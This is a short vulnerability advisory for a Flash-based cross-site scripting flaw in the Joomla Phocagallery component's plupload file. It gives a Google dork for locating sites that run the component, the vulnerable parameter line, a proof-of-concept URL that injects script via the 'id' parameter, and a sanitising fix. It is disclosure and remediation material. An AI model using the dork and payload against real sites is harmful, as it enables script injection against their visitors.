Joomla Phocagallery 3.0.0 / 4.0.0 Cross Site Scripting

`# Exploit Title: Joomla com_phocagallery Plupload Flash XSS  
# Release Date: 13/05/2013  
# Author: Rafay Baloch And Deepankar Arora  
# Contact: http://rafayhackingarticles.net  
# Vendor: phoca.cz  
# Versions Affected: 3.0.0 - 4.0.0  
# Google Dork: inurl:com_phocagallery  
  
Description:  
  
The vulnerability with plupload with a known vulnerability, however  
com_phocagallery uses it, The id parameter is not sanitized. Therefore it  
results in a flash based xss.  
  
The vulnerable code is as follows:  
  
this.id = this.stage.loaderInfo.parameters["id"];  
  
As you can see that there is not type of filtering being performed at the  
id parameter.  
  
POC:  
  
http://localhost/joomla/components/com_phocagallery/assets/plupload/plupload.flash.swf?id=0\%22))}catch(e){if(!window.x){window.x=1;alert(2)}}//  
  
Fix:  
  
Sanitize the input.  
  
this.id =  
(this.stage.loaderInfo.parameters["id"]).toString().replace(/[^\w]/g, '');  
  
The above would filter out all the special characters.  
  
  
References:  
  
https://github.com/moxiecode/plupload/commit/2d746ee  
--   
Warm Regards,  
Rafay Baloch  
  
http://rafayhackingarticles.net  
http://techlotips.com  
`